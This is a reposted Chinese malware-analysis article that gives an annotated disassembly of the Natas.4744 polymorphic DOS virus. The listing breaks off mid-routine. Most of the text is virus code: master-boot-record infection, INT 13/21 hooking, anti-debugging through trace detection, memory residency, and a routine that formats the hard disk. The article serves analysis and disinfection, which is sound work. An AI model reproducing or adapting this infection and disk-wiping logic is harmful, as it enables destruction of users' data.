[转载]Natas.4744幽灵王病毒的分析

文章作者:罗云彬


病毒介绍:

  Natas 病毒,长度 4744 字节,有的地方有把它称为 4744 病毒,由于病毒是用了变型技术,本身的形态几乎有无穷多种,使杀毒软件总漏掉一两个,不知什么时候又冒了出来,所以又称它为‘幽灵王’。
  但变型加密技术并不可怕,我认为,查病毒并没有通用的方法,病毒用了多少的代码用于加密,杀毒程序也少不了这么多代码,编病毒的人用了多少时间调试,杀病毒的人只会用更多的时间去分析,从来没有通用的杀毒办法,只要以这种态度去分析病毒,杀毒程序就能把病毒杀完全。君不见,有些杀毒软件刚推出是号称开放式杀毒,永远不用升级,用户自己只要加加病毒库就行了,但到后来,升级升得比谁都快,出一个新病毒一升级,版本号都快把26个字母用完了。
  由于 Natas 病毒的长度长达 4744 字节,变型加密部分就用的近 2k,我一时没有时间写具体的杀毒细节,只能尽可能多注释一下。
 Natas 病毒是一种恶性病毒,它再启动时有1/512的机会要格式化硬盘。如果发现它,要注意马上杀,不然下一次启动你的硬盘资料可能就完蛋了。具体分析见注释。如果谁有杀毒原程序愿意公布,可以发一份给我。

病毒分析:

9E80:0000 0E         PUSH  CS
9E80:0001 1F         POP  DS
9E80:0002 E89400      CALL  0099     ;保存 INT 13/15/21/40
9E80:0005 A27304      MOV  [0473],AL   ;AL = 0
9E80:0008 A21114      MOV  [1411],AL
9E80:000B 8EC0        MOV  ES,AX
9E80:000D 5F         POP  DI
9E80:000E 83EF03      SUB  DI,+03
9E80:0011 50         PUSH  AX
9E80:0012 57         PUSH  DI     ;设置执行原引导记录地址
9E80:0013 BE4700      MOV  SI,0047   ;解密并恢复原引导区
9E80:0016 E81D00      CALL  0036
9E80:0019 B013        MOV  AL,13
9E80:001B BA7204      MOV  DX,0472   ;设置新 INT 13 => CS:0472
9E80:001E E8B300      CALL  00D4
9E80:0021 E8EF00      CALL  0113     ;传染硬盘引导区
9E80:0024 84168E00     TEST  [008E],DL
9E80:0028 740B        JZ  0035
9E80:002A B8FF01      MOV  AX,01FF
9E80:002D E83611      CALL  1166     ;产生随机数 < 512
9E80:0030 7503        JNZ  0035     ;如果为 0 转格式化硬盘
9E80:0032 E91304      JMP  0448     ;即每次启动有 1/512 的机会
9E80:0035 CB         RETF       ;格式化硬盘
;===========================================================================
;加密/解密原引导记录
9E80:0036 8A64FF      MOV  AH,[SI-01]
9E80:0039 B92900      MOV  CX,0029
9E80:003C FC         CLD
9E80:003D AC         LODSB
9E80:003E 32C4        XOR  AL,AH
9E80:0040 D0C4        ROL  AH,1
9E80:0042 AA         STOSB
9E80:0043 E2F8        LOOP  003D
9E80:0045 C3         RET
9E80:0046              07 FD-3D DC B6 A0 5C C1 FF 11      .}=\6 \A..
9E80:0050  09 A7 40 70 D6 04 B4 19-58 0A 6B CF DE BD 3A 0C  .&#39;@pV.4.X.kO^=:.
9E80:0060  0E E0 CB D4 E6 DE 45 42-F0 13 B3 7E F8 BD 0B 4A  .`KTf^EBp.3~x=.J
;==========================================================================
;  新引导区入口程序
;==========================================================================
9E80:0070 E80000      CALL  0073     ;重定位
9E80:0073 BF4000      MOV  DI,0040
9E80:0076 8EDF        MOV  DS,DI     ;0040:0013
9E80:0078 836DD306     SUB  Word Ptr [DI-2D],+06   ;内存减 6K
9E80:007C 8B45D3      MOV  AX,[DI-2D]
9E80:007F B10A        MOV  CL,0A
9E80:0081 D3C8        ROR  AX,CL
9E80:0083 8EC0        MOV  ES,AX     ;高端段地址
9E80:0085 B80902      MOV  AX,0209   ;读出病毒 9 扇区
9E80:0088 33DB        XOR  BX,BX
9E80:008A B9014F      MOV  CX,4F01  ===>  ;CX, DX 值由 0166 设置
9E80:008D BA0001      MOV  DX,0100
9E80:0090 CD13        INT  13
9E80:0092 7203        JB  0097
9E80:0094 06         PUSH  ES     ;转 0000 执行
9E80:0095 53         PUSH  BX
9E80:0096 CB         RETF
9E80:0097 CD18        INT  18
;===========================================================================
;保存中断开始 5 字节
;INT 13 ===> 13EB
;INT 15 ===> 13F3
;INT 40 ===> 13F7
;INT 21 ===> 13FB
9E80:0099 1E         PUSH  DS
9E80:009A 33C0        XOR  AX,AX
9E80:009C 8ED8        MOV  DS,AX
9E80:009E BE4C00      MOV  SI,004C   ;中断 13
9E80:00A1 BFEB13      MOV  DI,13EB
9E80:00A4 56         PUSH  SI
9E80:00A5 56         PUSH  SI
9E80:00A6 A5         MOVSW
9E80:00A7 A5         MOVSW
9E80:00A8 5E         POP  SI
9E80:00A9 A5         MOVSW
9E80:00AA A5         MOVSW
9E80:00AB BE5400      MOV  SI,0054   ;中断 15
9E80:00AE A5         MOVSW
9E80:00AF A5         MOVSW
9E80:00B0 5E         POP  SI
9E80:00B1 38067504     CMP  [0475],AL
9E80:00B5 7403        JZ  00BA
9E80:00B7 BE0001      MOV  SI,0100
9E80:00BA A5         MOVSW
9E80:00BB A5         MOVSW
9E80:00BC BE8400      MOV  SI,0084   ;中断 21
9E80:00BF A5         MOVSW
9E80:00C0 A5         MOVSW
9E80:00C1 1F         POP  DS
9E80:00C2 C3         RET
;=========================================================================
;取中断向量于 ES:BX, 入口 AL = 中断向量号
9E80:00C3 50         PUSH  AX
9E80:00C4 32E4        XOR  AH,AH
9E80:00C6 D1C0        ROL  AX,1
9E80:00C8 D1C0        ROL  AX,1
9E80:00CA 93         XCHG  AX,BX
9E80:00CB 33C0        XOR  AX,AX
9E80:00CD 8EC0        MOV  ES,AX
9E80:00CF 26C41F      LES  BX,ES:[BX]
9E80:00D2 58         POP  AX
9E80:00D3 C3         RET
;=========================================================================
;设置中断向量到 DS:DX, 入口 AL = 中断向量号
9E80:00D4 50         PUSH  AX
9E80:00D5 53         PUSH  BX
9E80:00D6 1E         PUSH  DS
9E80:00D7 32E4        XOR  AH,AH
9E80:00D9 D1C0        ROL  AX,1
9E80:00DB D1C0        ROL  AX,1
9E80:00DD 93         XCHG  AX,BX
9E80:00DE 33C0        XOR  AX,AX
9E80:00E0 1E         PUSH  DS
9E80:00E1 8ED8        MOV  DS,AX
9E80:00E3 8917        MOV  [BX],DX
9E80:00E5 8F4702      POP  [BX+02]
9E80:00E8 1F         POP  DS
9E80:00E9 5B         POP  BX
9E80:00EA 58         POP  AX
9E80:00EB C3         RET
;========================================================================
;所有寄存器进堆栈
9E80:00EC 2E8F060214    POP  CS:[1402]
9E80:00F1 9C         PUSHF
9E80:00F2 50         PUSH  AX
9E80:00F3 53         PUSH  BX
9E80:00F4 51         PUSH  CX
9E80:00F5 52         PUSH  DX
9E80:00F6 55         PUSH  BP
9E80:00F7 56         PUSH  SI
9E80:00F8 57         PUSH  DI
9E80:00F9 1E         PUSH  DS
9E80:00FA 06         PUSH  ES
9E80:00FB 8BEC        MOV  BP,SP
9E80:00FD 2EFF260214    JMP  CS:[1402]
;=========================================================================
;所有寄存器出堆栈
9E80:0102 2E8F060214    POP  CS:[1402]
9E80:0107 07         POP  ES
9E80:0108 1F         POP  DS
9E80:0109 5F         POP  DI
9E80:010A 5E         POP  SI
9E80:010B 5D         POP  BP
9E80:010C 5A         POP  DX
9E80:010D 59         POP  CX
9E80:010E 5B         POP  BX
9E80:010F 58         POP  AX
9E80:0110 9D         POPF
9E80:0111 EBEA        JMP  00FD
;==========================================================================
;文件执行初始化及启动时传染硬盘子程序
;由 0021 043C 调用
9E80:0113 0E         PUSH  CS
9E80:0114 0E         PUSH  CS
9E80:0115 07         POP  ES
9E80:0116 1F         POP  DS
9E80:0117 B80102      MOV  AX,0201
9E80:011A BB1314      MOV  BX,1413
9E80:011D B90100      MOV  CX,0001
9E80:0120 BA8000      MOV  DX,0080
9E80:0123 E89509      CALL  0ABB     ;读硬盘主引导区
9E80:0126 7230        JB  0158
9E80:0128 38AFBF01     CMP  [BX+01BF],CH   ;无保留磁道不传染
9E80:012C 742A        JZ  0158
9E80:012E 8B8FC401     MOV  CX,[BX+01C4]   ;取保留磁道扇区数
9E80:0132 83E13F      AND  CX,+3F     ;屏蔽 CX 高位 (柱面高位)
9E80:0135 83E909      SUB  CX,+09     ;到数 9 扇区
9E80:0138 761E        JBE  0158     ;扇区数小于 9 不传染
9E80:013A 80F901      CMP  CL,01
9E80:013D 7619        JBE  0158
9E80:013F E81700      CALL  0159     ;判断是否已传染
9E80:0142 7214        JB  0158     ;已传染退出
9E80:0144 53         PUSH  BX
9E80:0145 B80903      MOV  AX,0309   ;写病毒到保留扇区
9E80:0148 33DB        XOR  BX,BX
9E80:014A E86E09      CALL  0ABB
9E80:014D 5B         POP  BX
9E80:014E 7208        JB  0158
9E80:0150 B80103      MOV  AX,0301   ;写新引导记录
9E80:0153 B101        MOV  CL,01     ;CS:0000
9E80:0155 E86309      CALL  0ABB
9E80:0158 C3         RET
;==========================================================================
;判断引导记录是否已传染及准备新的引导记录
9E80:0159 51         PUSH  CX
9E80:015A 52         PUSH  DX
9E80:015B 81BFFE0155AA  CMP  Word Ptr [BX+01FE],AA55
9E80:0161 7525        JNZ  0188
9E80:0163 BF4700      MOV  DI,0047
9E80:0166 894D44      MOV  [DI+44],CX   ;保存病毒传染位置
9E80:0169 80E280      AND  DL,80
9E80:016C 895547      MOV  [DI+47],DX
9E80:016F E81A00      CALL  018C     ;判断是否传染 (返回 SI 地址)
9E80:0172 7414        JZ  0188     ;已传染转 0188 退出
9E80:0174 E8EC0F      CALL  1163     ;产生随机数
9E80:0177 8865FF      MOV  [DI-01],AH   ;保存于 0046
9E80:017A 56         PUSH  SI
9E80:017B E8BBFE      CALL  0039     ;加密原引导记录
9E80:017E 8BF7        MOV  SI,DI     ;SI = 0070, 病毒入口
9E80:0180 5F         POP  DI     ;DI = 原引导记录 JMP 入口
9E80:0181 B92900      MOV  CX,0029   ;移动病毒到原引导记录
9E80:0184 F3         REPZ
9E80:0185 A4         MOVSB
9E80:0186 F8         CLC
9E80:0187 B0F9        MOV  AL,F9
9E80:0189 5A         POP  DX
9E80:018A 59         POP  CX
9E80:018B C3         RET
;==========================================================================
;返回 JMP 后的指令地址于 SI
;判断 JMP 后指令是否为 0070 处指令 (是否传染)
9E80:018C 8BF3        MOV  SI,BX
9E80:018E FC         CLD
9E80:018F AC         LODSB
9E80:0190 50         PUSH  AX
9E80:0191 AD         LODSW
9E80:0192 91         XCHG  AX,CX     ;AL/CX 为引导区前 3 字节
9E80:0193 58         POP  AX
9E80:0194 3CEB        CMP  AL,EB     ;JMP XXXX
9E80:0196 7505        JNZ  019D
9E80:0198 32ED        XOR  CH,CH
9E80:019A 4E         DEC  SI
9E80:019B EB08        JMP  01A5
9E80:019D 3CE9        CMP  AL,E9     ;JMP XXXX
9E80:019F 7404        JZ  01A5
9E80:01A1 33C9        XOR  CX,CX
9E80:01A3 8BF3        MOV  SI,BX
9E80:01A5 03F1        ADD  SI,CX     ;SI 为引导记录开始指令
9E80:01A7 81FEE515     CMP  SI,15E5   ;15E5 - 1413 = 01D2
9E80:01AB 73F4        JNB  01A1     ; > 01D2 退出
9E80:01AD 813CE800     CMP  Word Ptr [SI],00E8
9E80:01B1 7505        JNZ  01B8     ;判前 2 句指令是否
9E80:01B3 817C0200BF    CMP  Word Ptr [SI+02],BF00   ;CALL next/MOV DI,xxxx
9E80:01B8 C3         RET       ;(见 0070)
;=========================================================================
;判断是否有跟踪
;如果有,返回 BP <> 0
9E80:01B9 33C0        XOR  AX,AX
9E80:01BB 9C         PUSHF
9E80:01BC 5A         POP  DX     ;取当前标志
9E80:01BD 80E6FE      AND  DH,FE
9E80:01C0 52         PUSH  DX
9E80:01C1 52         PUSH  DX
9E80:01C2 9D         POPF
9E80:01C3 16         PUSH  SS
9E80:01C4 17         POP  SS
9E80:01C5 9C         PUSHF
9E80:01C6 5A         POP  DX
9E80:01C7 F6C601      TEST  DH,01
9E80:01CA 5A         POP  DX
9E80:01CB 7415        JZ  01E2     ;无跟踪转 01E2
9E80:01CD 06         PUSH  ES
9E80:01CE 33ED        XOR  BP,BP
9E80:01D0 8CD1        MOV  CX,SS
9E80:01D2 FA         CLI
9E80:01D3 8ED5        MOV  SS,BP
9E80:01D5 C47E04      LES  DI,[BP+04]   ;有跟踪取 INT 01 地址
9E80:01D8 8ED1        MOV  SS,CX
9E80:01DA FB         STI
9E80:01DB B0CF        MOV  AL,CF
9E80:01DD FC         CLD
9E80:01DE AA         STOSB       ;将 INT 01 设置为 IRET
9E80:01DF 07         POP  ES
9E80:01E0 52         PUSH  DX
9E80:01E1 9D         POPF
9E80:01E2 95         XCHG  AX,BP     ;无跟踪 AX = 0
9E80:01E3 C3         RET
;========================================================================
;保存或恢复 INT 13 中断前 5 字节
9E80:01E4 E805FF      CALL  00EC
9E80:01E7 BED913      MOV  SI,13D9
9E80:01EA 2EC47C16     LES  DI,CS:[SI+16]
9E80:01EE EB0A        JMP  01FA
;========================================================================
;保存或恢复 INT 21 中断前 5 字节
9E80:01F0 E8F9FE      CALL  00EC
9E80:01F3 BEDE13      MOV  SI,13DE
9E80:01F6 2EC47C1D     LES  DI,CS:[SI+1D]
9E80:01FA 0E         PUSH  CS
9E80:01FB 1F         POP  DS
9E80:01FC B90500      MOV  CX,0005
9E80:01FF 382E1114     CMP  [1411],CH   ;[1411] 引导区引入时为 0
9E80:0203 740B        JZ  0210
9E80:0205 FC         CLD
9E80:0206 AC         LODSB
9E80:0207 268605      XCHG  AL,ES:[DI]
9E80:020A 8844FF      MOV  [SI-01],AL
9E80:020D 47         INC  DI
9E80:020E E2F6        LOOP  0206
9E80:0210 E8EFFE      CALL  0102
9E80:0213 C3         RET
;=========================================================================
;由初始化程序调用
9E80:0214 E882FE      CALL  0099     ;保存 INT 13/15/21/40
9E80:0217 B452        MOV  AH,52    ;中断前 5 字节
9E80:0219 CD21        INT  21
9E80:021B 268B47FE     MOV  AX,ES:[BX-02]   ;AX = 第一块 MCB 地址
9E80:021F A3AD02      MOV  [02AD],AX
9E80:0222 B001        MOV  AL,01     ;取 INT 01 中断地址
9E80:0224 E89CFE      CALL  00C3
9E80:0227 53         PUSH  BX
9E80:0228 06         PUSH  ES
9E80:0229 BA7702      MOV  DX,0277   ;设置 INT 01 中断地址
9E80:022C E8A5FE      CALL  00D4     ;到 CS:0277
9E80:022F 9C         PUSHF
9E80:0230 5E         POP  SI
9E80:0231 BF9702      MOV  DI,0297
9E80:0234 C60503      MOV  Byte Ptr [DI],03
9E80:0237 B401        MOV  AH,01
9E80:0239 E83400      CALL  0270     ;激活 INT 01
9E80:023C E87C08      CALL  0ABB     ;执行 INT 13,找 BIOS INT 13地址
;本句功能为先执行 029B, 再执行 02C8,在 02C8 中找出
;BIOS 的 INT 13 地址, 即段地址高位在 C8 到 F4 之间
;找到以后转 02B4, 将 INT 13 地址保存在 13EB 中
9E80:023F C60526      MOV  Byte Ptr [DI],26
9E80:0242 B4C0        MOV  AH,C0
9E80:0244 E82900      CALL  0270     ;激活 INT 01
9E80:0247 9C         PUSHF       ;调用 INT 15,找 BIOS INT 15地址
9E80:0248 FF1EF313     CALL  FAR [13F3]
;本段功能为先执行 02BE, 同上找出 BIOS INT 15 地址
;保存于 13F3 中
9E80:024C C60513      MOV  Byte Ptr [DI],13
9E80:024F B430        MOV  AH,30
9E80:0251 E81C00      CALL  0270     ;激活 INT 01
9E80:0254 E86E08      CALL  0AC5     ;调用 INT 21
;本段功能为找出 MSDOS 中 INT 21 的地址, 先执行
;02AB, 判断执行段地址小于第一块 MCB 地址, 即为
;INT 21 的地址, 找到后保存于 13FB 中
9E80:0257 C6052B      MOV  Byte Ptr [DI],2B
9E80:025A B401        MOV  AH,01
9E80:025C E81100      CALL  0270
9E80:025F E86908      CALL  0ACB
;本段功能为找出 BIOS INT 40 地址,具体为先执行 02C3
;再同 INT 13 之执行, 找到 INT 40 地址保存于 13F7 中
9E80:0262 81E6FFFE     AND  SI,FEFF
9E80:0266 56         PUSH  SI
9E80:0267 9D         POPF      ;停止 INT 01
9E80:0268 1F         POP  DS     ;恢复原 INT 01 地址
9E80:0269 5A         POP  DX
9E80:026A B001        MOV  AL,01
9E80:026C E865FE      CALL  00D4
9E80:026F C3         RET
9E80:0270 81CE0001     OR  SI,0100
9E80:0274 56         PUSH  SI
9E80:0275 9D         POPF
9E80:0276 C3         RET
;=========================================================================
;  病毒新 INT 01
;  这是一个多个地方调用的子程序, 先由调用者设置 0296 出 JNZ 指令
;  跳转的地址, 再设置并激活 INT 01
;  在 0099 中用来找出初始 INT 13/15/21/40 地址
;  在 INT 21 结束时用来重新截取 INT 21
9E80:0277 1E         PUSH  DS
9E80:0278 0E         PUSH  CS
9E80:0279 1F         POP  DS
9E80:027A 893E6F03     MOV  [036F],DI   ;DI = 13E3
9E80:027E BF6303      MOV  DI,0363
9E80:0281 8905        MOV  [DI],AX   ;保存返回时的
9E80:0283 895D03      MOV  [DI+03],BX   ;AX 到 DX 值
9E80:0286 894D06      MOV  [DI+06],CX
9E80:0289 895509      MOV  [DI+09],DX
9E80:028C 8F45FB      POP  [DI-05]   ;保存返回时的 DS
9E80:028F 5B         POP  BX     ;调用 IP (INT 01)
9E80:0290 59         POP  CX     ;调用 CS
9E80:0291 5A         POP  DX     ;调用 FLAG
9E80:0292 8CC8        MOV  AX,CS
9E80:0294 3BC1        CMP  AX,CX     ;是否调用者在病毒内
9E80:0296 752B        JNZ  02C3     ;不在病毒内开始执行 INT 01 功能
9E80:0298 E9BF00      JMP  035A
;以下由 022F 处执行, 找 MSDOS INT 13 地址
9E80:029B 3B0EAD02     CMP  CX,[02AD]   ;02AD 为第一个 MCB 地址
9E80:029F 734D        JNB  02EE     ;不在 MSDOS 内返回
9E80:02A1 BFEF13      MOV  DI,13EF
9E80:02A4 C606970230    MOV  Byte Ptr [0297],30  ;下一次 0296
9E80:02A9 EB0C        JMP  02B7     ;处为 JNZ 02C8
;以下由 0257 处执行, 找 INT 21 地址
9E80:02AB 81F9A30B     CMP  CX,0BA3  ===>  ;本句地址由 021F 设置
9E80:02AF 733D        JNB  02EE     ;为第一块 MCB 地址
9E80:02B1 BFFB13      MOV  DI,13FB
9E80:02B4 80E6FE      AND  DH,FE     ;保存找到的地址
9E80:02B7 891D        MOV  [DI],BX   ;并停止 INT 01
9E80:02B9 894D02      MOV  [DI+02],CX
9E80:02BC EB30        JMP  02EE
;以下由 024C 处执行, 找 INT 15 地址
9E80:02BE BFF313      MOV  DI,13F3
9E80:02C1 EB08        JMP  02CB
;以下由 0262 处执行, 找 INT 40 地址
9E80:02C3 BFF713      MOV  DI,13F7
9E80:02C6 EB03        JMP  02CB
9E80:02C8 BFEB13      MOV  DI,13EB   ;从 02A9 转来
9E80:02CB 80FDC8      CMP  CH,C8     ;段地址 < C800 退出
9E80:02CE 721E        JB  02EE
9E80:02D0 80FDF4      CMP  CH,F4     ;段地址 > F400 退出
9E80:02D3 72DF        JB  02B4     ;段地址指向 BIOS 转 02B4
9E80:02D5 EB17        JMP  02EE     ;保存及停止 INT 01
;INT 01 在 INT 21 结束时执行转此处
9E80:02D7 FE0E1214     DEC  Byte Ptr [1412]
9E80:02DB 7511        JNZ  02EE
9E80:02DD 52         PUSH  DX     ;到 INT 21 第一句
9E80:02DE B001        MOV  AL,01     ;恢复 INT 01 中断
9E80:02E0 C516E313     LDS  DX,[13E3]
9E80:02E4 E8EDFD      CALL  00D4     ;
9E80:02E7 E806FF      CALL  01F0     ;截取 INT 21 中断
9E80:02EA 5A         POP  DX
9E80:02EB 80E6FE      AND  DH,FE
9E80:02EE F6C601      TEST  DH,01     ;标志复位转 035A 退出
9E80:02F1 7467        JZ  035A
9E80:02F3 8ED9        MOV  DS,CX
9E80:02F5 33FF        XOR  DI,DI
9E80:02F7 8B01        MOV  AX,[BX+DI]
9E80:02F9 3CF0        CMP  AL,F0
9E80:02FB 7412        JZ  030F
9E80:02FD 3CF2        CMP  AL,F2
9E80:02FF 740E        JZ  030F
9E80:0301 3CF3        CMP  AL,F3
9E80:0303 740A        JZ  030F
9E80:0305 3C9C        CMP  AL,9C
9E80:0307 7309        JNB  0312
9E80:0309 24E7        AND  AL,E7
9E80:030B 3C26        CMP  AL,26
9E80:030D 754B        JNZ  035A
9E80:030F 47         INC  DI
9E80:0310 EBE5        JMP  02F7
9E80:0312 750C        JNZ  0320
9E80:0314 80E6FE      AND  DH,FE
9E80:0317 52         PUSH  DX
9E80:0318 8D5901      LEA  BX,[BX+DI+01]
9E80:031B 80CE01      OR  DH,01
9E80:031E EBD3        JMP  02F3
9E80:0320 3C9D        CMP  AL,9D
9E80:0322 7503        JNZ  0327
9E80:0324 5A         POP  DX
9E80:0325 EBF1        JMP  0318
9E80:0327 3CCF        CMP  AL,CF
9E80:0329 7505        JNZ  0330
9E80:032B 5B         POP  BX
9E80:032C 59         POP  CX
9E80:032D 5A         POP  DX
9E80:032E EBEB        JMP  031B
9E80:0330 3CCD        CMP  AL,CD
9E80:0332 7412        JZ  0346
9E80:0334 3CCC        CMP  AL,CC
9E80:0336 B403        MOV  AH,03
9E80:0338 740B        JZ  0345
9E80:033A 3CCE        CMP  AL,CE
9E80:033C B404        MOV  AH,04
9E80:033E 751A        JNZ  035A
9E80:0340 F6C608      TEST  DH,08
9E80:0343 7415        JZ  035A
9E80:0345 4B         DEC  BX
9E80:0346 80E6FE      AND  DH,FE
9E80:0349 8D5902      LEA  BX,[BX+DI+02]
9E80:034C 52         PUSH  DX
9E80:034D 51         PUSH  CX
9E80:034E 53         PUSH  BX
9E80:034F 8AC4        MOV  AL,AH
9E80:0351 06         PUSH  ES
9E80:0352 E86EFD      CALL  00C3
9E80:0355 8CC1        MOV  CX,ES
9E80:0357 07         POP  ES
9E80:0358 EBC1        JMP  031B
9E80:035A 52         PUSH  DX
9E80:035B 51         PUSH  CX
9E80:035C 53         PUSH  BX
9E80:035D B85E9E      MOV  AX,9E5E
9E80:0360 8ED8        MOV  DS,AX
9E80:0362 B80601      MOV  AX,0106
9E80:0365 BB00FF      MOV  BX,FF00
9E80:0368 B90000      MOV  CX,0000
9E80:036B BA7702      MOV  DX,0277
9E80:036E BF9702      MOV  DI,0297
9E80:0371 CF         IRET
;=========================================================================
;  可执行文件入口
;=========================================================================
9E80:0372 1E         PUSH  DS
9E80:0373 E80000      CALL  0376     ;重定位
9E80:0376 5E         POP  SI
9E80:0377 81EE7603     SUB  SI,0376
9E80:037B E83BFE      CALL  01B9     ;检测是否有跟踪
9E80:037E 0BED        OR  BP,BP     ;有跟踪转 038D
9E80:0380 750B        JNZ  038D
9E80:0382 B430        MOV  AH,30
9E80:0384 BB9AF9      MOV  BX,F99A
9E80:0387 CD21        INT  21
9E80:0389 3C03        CMP  AL,03     ;内存驻留检测
9E80:038B 7230        JB  03BD     ;已驻留转 03BD
9E80:038D 8CC0        MOV  AX,ES
9E80:038F 48         DEC  AX
9E80:0390 8ED8        MOV  DS,AX
9E80:0392 33FF        XOR  DI,DI
9E80:0394 0BED        OR  BP,BP     ;有跟踪转 039D
9E80:0396 7505        JNZ  039D
9E80:0398 803D5A      CMP  Byte Ptr [DI],5A  ;非最后一块 MCB
9E80:039B 7520        JNZ  03BD     ;转执行原程序
9E80:039D B86201      MOV  AX,0162
9E80:03A0 294503      SUB  [DI+03],AX   ;内存减 1620 (5664)字节
9E80:03A3 294512      SUB  [DI+12],AX
9E80:03A6 8E4512      MOV  ES,[DI+12]
9E80:03A9 8EDF        MOV  DS,DI     ;BIOS 内存减 6K
9E80:03AB 832E130406    SUB  Word Ptr [0413],+06
9E80:03B0 B9D913      MOV  CX,13D9   ;将病毒 13D9 字节移动到高端
9E80:03B3 FC         CLD
9E80:03B4 F3         REPZ
9E80:03B5 2EA4        MOVSB  CS:
9E80:03B7 B8FA03      MOV  AX,03FA   ;转高端 03FA 继续执行
9E80:03BA 06         PUSH  ES
9E80:03BB 50         PUSH  AX
9E80:03BC CB         RETF
;=========================================================================
9E80:03BD 0E         PUSH  CS     ;执行原程序
9E80:03BE 1F         POP  DS
9E80:03BF 07         POP  ES
9E80:03C0 8DB47012     LEA  SI,[SI+1270]   ;原文件头位置
9E80:03C4 8B04        MOV  AX,[SI]
9E80:03C6 3D4D5A      CMP  AX,5A4D   ;.EXE 文件转 03DF
9E80:03C9 7414        JZ  03DF
9E80:03CB 3D5A4D      CMP  AX,4D5A
9E80:03CE 740F        JZ  03DF
9E80:03D0 B90C00      MOV  CX,000C   ;.COM 文件恢复原文件头 000C字
9E80:03D3 BF0001      MOV  DI,0100   ;原文件头 ==> CS:0100
9E80:03D6 06         PUSH  ES
9E80:03D7 57         PUSH  DI
9E80:03D8 FC         CLD
9E80:03D9 F3         REPZ
9E80:03DA A5         MOVSW
9E80:03DB 06         PUSH  ES
9E80:03DC 1F         POP  DS
9E80:03DD 91         XCHG  AX,CX     ;执行原 .COM 文件
9E80:03DE CB         RETF
9E80:03DF 8CC0        MOV  AX,ES     ;.EXE 文件重定位
9E80:03E1 051000      ADD  AX,0010
9E80:03E4 014416      ADD  [SI+16],AX
9E80:03E7 03440E      ADD  AX,[SI+0E]
9E80:03EA 06         PUSH  ES
9E80:03EB 1F         POP  DS
9E80:03EC FA         CLI
9E80:03ED 8ED0        MOV  SS,AX
9E80:03EF 2E8B6410     MOV  SP,CS:[SI+10]
9E80:03F3 33C0        XOR  AX,AX
9E80:03F5 FB         STI
9E80:03F6 2EFF6C14     JMP  FAR CS:[SI+14]   ;执行原 .EXE 文件
;=========================================================================
;文件初始化时由低段跳转过来
9E80:03FA 0E         PUSH  CS
9E80:03FB 1F         POP  DS     ;DI = 13DA
9E80:03FC C6453801     MOV  Byte Ptr [DI+38],01   ;DS:[1412]
9E80:0400 B80200      MOV  AX,0002
9E80:0403 E8600D      CALL  1166     ;产生随机数
9E80:0406 A23D0A      MOV  [0A3D],AL
9E80:0409 C60673042E    MOV  Byte Ptr [0473],2E
9E80:040E B0EA        MOV  AL,EA
9E80:0410 AA         STOSB
9E80:0411 884504      MOV  [DI+04],AL   ;新 INT 13 中断前 5 字节
9E80:0414 B87204      MOV  AX,0472   ;JMP CS:0472
9E80:0417 AB         STOSW
9E80:0418 C745037305    MOV  Word Ptr [DI+03],0573
9E80:041D 8C0D        MOV  [DI],CS   ;新 INT 21 中断前 5 字节
9E80:041F 8C4D05      MOV  [DI+05],CS   ;JMP CS:0573
9E80:0422 57         PUSH  DI
9E80:0423 E8EEFD      CALL  0214    ;取 INT 13/15/21/40 地址
9E80:0426 5F         POP  DI
9E80:0427 0E         PUSH  CS
9E80:0428 1F         POP  DS
9E80:0429 A1AD02      MOV  AX,[02AD]
9E80:042C 394515      CMP  [DI+15],AX   ;[13EF]
9E80:042F 770B        JA  043C
9E80:0431 394521      CMP  [DI+21],AX   ;[13FB]
9E80:0434 7706        JA  043C     ;未找到 MSDOS INT 21 入口不截取
9E80:0436 E8ABFD      CALL  01E4     ;截取 INT 13
9E80:0439 E8B4FD      CALL  01F0     ;截取 INT 21
9E80:043C E8D4FC      CALL  0113     ;传染硬盘主引导区
9E80:043F 0BED        OR  BP,BP
9E80:0441 8BF5        MOV  SI,BP
9E80:0443 7503        JNZ  0448     ;有跟踪转 0448
9E80:0445 E975FF      JMP  03BD     ;无跟踪转 03BD 执行原程序
9E80:0448 33DB        XOR  BX,BX
9E80:044A 8EC3        MOV  ES,BX
9E80:044C B280        MOV  DL,80
9E80:044E 32F6        XOR  DH,DH
9E80:0450 33C9        XOR  CX,CX     ;如果有跟踪
9E80:0452 B80105      MOV  AX,0501   ;格式化硬盘
9E80:0455 E85E06      CALL  0AB6
9E80:0458 80E1C0      AND  CL,C0
9E80:045B FEC5        INC  CH
9E80:045D 75F3        JNZ  0452
9E80:045F 80C140      ADD  CL,40
9E80:0462 75EE        JNZ  0452
9E80:0464 32E4        XOR  AH,AH     ;磁盘复位
9E80:0466 CD13        INT  13
9E80:0468 FEC6        INC  DH
9E80:046A 80FE10      CMP  DH,10
9E80:046D 72E1        JB  0450
9E80:046F 42         INC  DX     ;转格式化第二个硬盘
9E80:0470 EBDC        JMP  044E
;=========================================================================
;  病毒新 INT 13H 中断服务程序
;=========================================================================
9E80:0472 EB2E        JMP  04A2  ====>  ;本句指令引导区引入时为 NOP
9E80:0474 E875FC      CALL  00EC     ;本段程序为在引导区启动
9E80:0477 B021        MOV  AL,21    ;时截取 INT 21
9E80:0479 E847FC      CALL  00C3     ;取 INT 21 中断向量于 ES:BX
9E80:047C 8CC0        MOV  AX,ES
9E80:047E 0E         PUSH  CS
9E80:047F 0E         PUSH  CS
9E80:0480 1F         POP  DS
9E80:0481 07         POP  ES
9E80:0482 3D0008      CMP  AX,0800   ;INT 21 段地址 > 0800
9E80:0485 7718        JA  049F     ;表示尚未设置
9E80:0487 BFFD13      MOV  DI,13FD
9E80:048A FD         STD
9E80:048B 8705        XCHG  AX,[DI]
9E80:048D AF         SCASW
9E80:048E 740F        JZ  049F     ;等于启动初始值退出
9E80:0490 891D        MOV  [DI],BX   ;保存新地址
9E80:0492 B021        MOV  AL,21
9E80:0494 BA7305      MOV  DX,0573   ;设置新 INT 21 到 CS:0573
9E80:0497 E83AFC      CALL  00D4
9E80:049A C60673042E    MOV  Byte Ptr [0473],2E;将 0472 处改为 JMP 04A2
9E80:049F E860FC      CALL  0102     ;POPA
9E80:04A2 80FC02      CMP  AH,02
9E80:04A5 7509        JNZ  04B0
9E80:04A7 83F901      CMP  CX,+01
9E80:04AA 7504        JNZ  04B0
9E80:04AC 0AF6        OR  DH,DH     ;读引导区转 04B6
9E80:04AE 7406        JZ  04B6
9E80:04B0 E8F605      CALL  0AA9     ;执行原 INT 13H
9E80:04B3 CA0200      RETF  0002
;===========================================================================
;读引导区时返回原引导记录及传染程序
9E80:04B6 E8F005      CALL  0AA9     ;执行原 INT 13H
9E80:04B9 E830FC      CALL  00EC     ;PUSHA
